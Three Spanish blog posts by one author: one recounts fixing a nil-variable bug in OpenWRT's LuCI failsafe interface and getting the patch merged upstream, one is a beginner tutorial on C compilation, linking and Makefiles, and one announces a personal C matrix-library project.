Este mes he comenzado una nueva andadura como Ingeniero de I+D y me ha tocado pegarme con unas cosas nuevas (es lo que tienen los nuevos trabajos) y divertidas. En este caso hablaré mínimamente de OpenWRT, pero esto es todo una excusa para explicar otra cosa.

OpenWRT es una distribución de Linux para sistemas embebidos. Se usa sobre todo en puntos de acceso wifi y ese tipo de dispositivos.

No quiero entrar mucho porque tampoco controlo nada pero, básicamente, a esta distribución se le puede instalar una interfaz web para gestionarla, como tiene nuestro router de casa, por ejemplo. Esta interfaz se llama LuCI.

Esta interfaz web tiene la opción de instalar un modo seguro, desde el que se pueden instalar imágenes del sistema etc. Cuando se instalaba, la web sacaba un mensaje de error y no se podía ver.

Debuggeando un poco el mensaje, indica qué línea del código fuente tiene problemas, aquí veis el mensaje de error:

/usr/lib/lua/luci/dispatcher.lua:433: Failed to execute function dispatcher target for entry '/'.
The called action terminated with an exception:
/usr/lib/lua/luci/dispatcher.lua:433: Failed to execute function dispatcher target for entry '/failsafe'.
The called action terminated with an exception:
/usr/lib/lua/luci/dispatcher.lua:433: Failed to execute call dispatcher target for entry '/failsafe/flashops'.
The called action terminated with an exception:
/usr/lib/lua/luci/controller/failsafe/failsafe.lua:91: attempt to index upvalue 'fp' (a nil value)
stack traceback:
    [C]: in function 'assert'
    /usr/lib/lua/luci/dispatcher.lua:433: in function 'dispatch'
    /usr/lib/lua/luci/dispatcher.lua:168: in function </usr/lib/lua/luci/dispatcher.lua:167>

Revisando el mensaje de error, vemos que en la línea 91 de /usr/lib/lua/luci/controller/failsafe/failsafe.lua se está accediendo a una variable con valor “nil”, es decir, sin inicializar.

No es realmente necesario saber Lua, que es el lenguaje de programación que se ha usado en LuCI, para resolver este problema. Si vamos al código fuente, podemos editar directamente esa zona para evitar acceder a esa variable si está sin inicializar.

Este es el cambio que he hecho, como se ve, sólo es comprobar que la variable ‘fp‘ no sea ‘nil‘. Así que ya no saltará el mismo error.

https://github.com/ekaitz-zarraga/luci/commit/a16654b12130d636b4e0f81839a26f5821619baa

Una vez resuelto, lo suyo es que lo solucionemos en todos los OpenWRTs del mundo, ¿no?

En realidad, tal y como está la sociedad no es lo habitual, pero como esto es software libre, sí, se puede arreglar para todos.

El paquete de LuCI es independiente, lo podéis encontrar en su página de GitHub o través de sus propios repositorios. Revisando un poco el archivo CONTRIBUTING.md aprendemos cómo contribuir, que no dejan de ser unos pocos detalles adicionales al procedimiento habitual de GitHub.

El procedimiento habitual es clonar el proyecto en nuestro perfil, crear una nueva rama para el cambio que queremos hacer, aplicarlo y pedir un Pull Request al proyecto original desde la rama que hemos creado en el nuestro.

Este es mi Pull Request:
https://github.com/openwrt/luci/pull/473

Como veis, mi Pull Request ha sido Merged, lo que implica que ha sido unido al proyecto, lo que me llena de satisfacción.

Lo que quiero explicaros con esto es que sin saber Lua y sin saber demasiado acerca de programación hemos resuelto un problema que tenía el código de un proyecto relativamente grande leyendo un poco el mensaje de error e investigando mínimamente. Es decir, no hace falta que nuestros cambios sean enormes o que tengamos que arreglar cosas extremadamente complicadas, simplemente, con encontrar un hueco donde ayudar es suficiente. Todos podemos hacerlo sin mucho esfuerzo.

Cuando un proyecto se gestiona correctamente, como usuarios podemos colaborar con este tipo de pequeñas aportaciones, haciendo que el software mejore y arreglando para todos pequeñas cositas que nos hemos arreglado a nosotros mismos.

En resumen, que cada pequeña aportación cuenta, que podemos cambiar el mundo desde el sofá sin esforzarnos demasiado. No hace falta ser un programador pro para ayudar. No hay que tenerle miedo al código porque, al fin y al cabo, a todos se nos cuelan pequeños bugs. 😉

Pues nada, eso. Que en OpenWRT hay un poco de Ekaitz y que perfectamente podía haber sido un poquito de ti y eso es maravilloso.

Un abrazo.


Sí que es cierto que hay que tener cierto dominio de las herramientas habituales que, resumiendo, es controlar un poco de Git o de otros sistemas de control de versiones. Al final, todo el software libre y colaborativo se basa en este tipo de herramientas para gestionar la colaboración. Pero de eso hablamos otro día 😉

[Intro] Compilación, Linkado y Makefiles en C

Hola,

Hoy voy a hablar un poco de la compilación, el linkado y los makefiles. Todo desde mi limitado conocimiento del tema con el objetivo de introducir a los más novatillos al tema. Como siempre, el plan no es dar un speech del asunto.

Vamos a por ello.

Primero quiero diferenciar los lenguajes interpretados (Python, PHP, Perl… octave también) de los lenguajes compilados (C, C++, Pascal… incluso Java y Erlang aunque de una forma un poco diferente de la que no hablaré).

Hay muchos lenguajes de programación que son interpretados, que significa que hay un programa (un intérprete) que los lee y los va ejecutando directamente desde el código fuente (en texto). La consola de nuestro linux favorito es un caso de esto. La consola lee lo que le pedimos y ejecuta nuestras órdenes. Hoy no vamos a hablar de esto, para eso está la sección de scripts.

Los lenguajes de programación compilados, sin embargo, no requieren de un intérprete, si no que necesitan compiladores y linkers. Este caso es el que nos ocupa. Voy a intentar explicar de forma simple este proceso y enseñaros una forma de automatizarlo.

Bien. Los lenguajes de programación compilados no requieren que exista un programa que los vaya leyendo, si no que, antes de ejecutarse, deben ser traducidos a un lenguaje que la máquina sea capaz de entender directamente, sin intermediarios. En ese proceso es en el que entran los dos amigos que he mencionado más arriba. (A partir de ahora hablaré del caso concreto de C, aunque todo se puede extrapolar con facilidad a los otros casos cambiando el compilador, usando g++ para C++ por ejemplo.)

  • El primero es el compilador, o compiler. Cuando ejecutamos el compiler, éste toma nuestros archivos de código fuente y los convierte a un archivo que la máquina sea capaz de entender. Es decir, convierte un programa legible por el humano a uno legible por la máquina. Estos nuevos archivos se llaman objetos, y, en linux al menos, suelen tener la extensión .o o .obj dependiendo del compilador.
  • El segundo es el linker. El linker toma los objetos y los une para crear ejecutables. También busca las librerías que se quieran añadir, y las añade en el caso de que sean librerías estáticas (esto lo dejamos para la siguiente).

El compilador GCC (GNU C Compiler) es capaz de hacer ambas cosas e internamente hará ambas si no le especificamos lo contrario. En los proyectos un poco complicados (que tengan más de un archivo o usen librerías) así deberemos hacerlo, compilando primero y linkando después desde la consola tal que así (yo uso GCC pero podéis usar otro):

gcc -c main.c   # Crea el objeto main.o, -c indica sólo compilar
gcc main.o      # Crea el ejecutable (por defecto a.out)

Si queréis probar con un hola mundo, aquí tenéis uno rápido. Lo guardáis en como main.c y listo, podéis ejecutar lo anterior:

#include<stdio.h>

void main(int argc, char * argv[]){
    printf("hola!\n");
}

Ahora que ya tenéis el ejecutable podéis ejecutarlo:

~$ ./a.out
hola!
~$

Si lo hubiésemos hecho sin el -c en la primera orden hubiese sacado el a.out directamente, pero no queremos eso porque en proyectos grandes será interesante que no linke hasta que nosotros se lo pidamos ya que querremos añadir librerías, etc.

Ya veis como se hace, pero tenemos que entender que en programas grandes con varios archivos hacer esto por cada uno de ellos y luego linkar todos los .o en un único ejecutable puede ser la muerte. Para evitar eso existe la herramienta Make.

Make es una herramienta supercremas[1]. Nos ayuda en esta labor permitiéndonos definir en unos archivos llamados Makefiles el orden en el que queremos que las cosas se compilen y linken (aunque también sirve para muchas más cosas). Una vez definidos estos archivos con lanzar la orden make él mismo sabrá como debe actuar[2].

El Makefile tiene entradas de la siguiente forma:

objetivo: requisitos
    receta para conseguirlo

Si aplicamos esto a lo que hemos explicado más arriba, podemos decir en el makefile que para conseguir el ejecutable necesitamos los objetos y que para conseguir los objetos necesitamos los archivos de código fuente. Además, en las recetas es sencillo saber qué hace falta. Para conseguir los objetos tenemos que compilar el código fuente, con la orden que he dicho antes, y para conseguir el ejecutable tendremos que linkar los objetos necesarios, con la segunda orden que he puesto. Dejándolo tal que así:

all: a.out       # Esto es lo que hará por defecto

a.out: main.o
	gcc main.o

main.o: main.c
	gcc -c main.c

Si creamos un archivo llamado makefile (o Makefile) con el contenido mostrado y lanzamos el comando make haremos las dos partes que he mencionado más arriba pero make se encargará de hacerlas en el orden que le hayamos señalado. Como no he puesto una @ delante de las órdenes, se muestran en pantalla según las va ejecutando:

~$ make
gcc -c main.c
gcc main.o
~$

Veis que hace lo que necesitábamos en la etapa anterior. Además, si volvemos a ejecutar make sin haber editado los archivos nos dirá que no tiene nada que hacer, y es que make comprobará si ha habido cambios en algún archivo  y si no los hay no hará nada. De esta forma evitará tener que hacer trabajo en balde.

También se pueden crear otras reglas para que limpie los archivos generados, para que instale etc. y, por supuesto, las reglas pueden complicarse muchísimo más. Pero con esto por ahora bastante bien.

Espero que os sirva como comienzo a las cosas. Es una entrada poco técnica, no como las que vendrán pronto. Pero hay que tener de todo en esta vida.

Resumen de ideas importantes:

  • Compilar (gcc -c): Crea los objetos (.o o .obj).
  • Linkar: Une los objetos para crear ejecutables. Busca librerías y las añade si es necesario.
  • Make: proceso de automatización de estas cosas.

Y unos enlaces para que profundicéis:

Y esto es todo por hoy.

Un abrazo.


[1] supercremas: de “cremas” y “super”. Cosa muy cremas, muy molona.

[2] estoy resumiendo mucho aquí, pero profundizaré más adelante en otra entrada.

Nuevo proyecto: C, makefiles y esas cosas

Hola,

Hace unas semanas empecé un nuevo proyecto del que no he querido hablar hasta que ya tuviese algo empezado y creo que ahora es el momento.

Estuve investigando proyectos interesantes en GitHub para pillar ideas y encontré un miniproyecto de multiplicación de matrices haciendo multithreading. Estaba hecho en C, usando pthreads[1] y esas cosas.

Cloné el repo para investigar un poco porque me encantan las matemáticas y la ciencia. Así que lo primero que he hecho ha sido un miniparser de archivos .mat de Octave o Matlab para poder cargar matrices. El plan es hacer unas matrices enormes y probar la diferencia de rendimiento con multithreading y sin él y la diferencia de multiplicarlas en C y en el propio Octave (cuyo core es, sobre todo, C++). Hablaré de los resultados de esto en algún momento.

Viendo que eso me motivaba me planteé hacer una librería de matrices y vectores (que podrían ser señales también) con el máximo rendimiento que pueda. Simplemente para leer y aprender. El objetivo es trabajar las siguientes cosas:

  1. Programación estructurada. Sí, llevo tanto tiempo orientando a objetos que a veces me cuesta. 🙂
  2. C a nivel bajo. Con el mínimo de librerías.
  3. Programación de C en Linux. Pthreads, librerías, tratamiento de argumentos, compilación, linkado, etc.
  4. Usar makefiles. En mis proyectos en Qt o para KDE siempre uso CMake (aunque tampoco es una herramienta que controle), así que nunca he hecho makefiles serios (CMake te los construye sólo).
  5. En general hacer programas más grandes y desde el principio.

Bien, ya presentaré el proyecto mejor cuando suba el código, pero la idea es hacer una librería dinámica (un shared object, un .so de toda la vida) con todas las funciones que haga para que cada uno se pueda programar lo que quiera y algunos binarios standalone para que se puedan ejecutar desde la consola las cosas más comunes y sobre todo para hacer pruebas.

Poco más de momento. Lo primero que he tenido que tenido que leer han sido temas de hacer makefiles, sin autotools ni CMakes ni historias, así que puede que hable del tema a no mucho tardar.

Intentaré ir hablando de lo que voy haciendo, no esperéis verdadera utilidad en el tema, seguramente haya millones de maneras de hacerlo mejor. El plan es aprender (como siempre) y que no se me olviden las matemáticas 😉

Y eso es todo, espero que este proyecto me dé cosas de las que hablar durante un tiempo. Pronto más información del tema.

Abrazos.


[1]: pthread viene de “POSIX thread”, son la forma en la que el estándar POSIX te permite trabajar con hilos.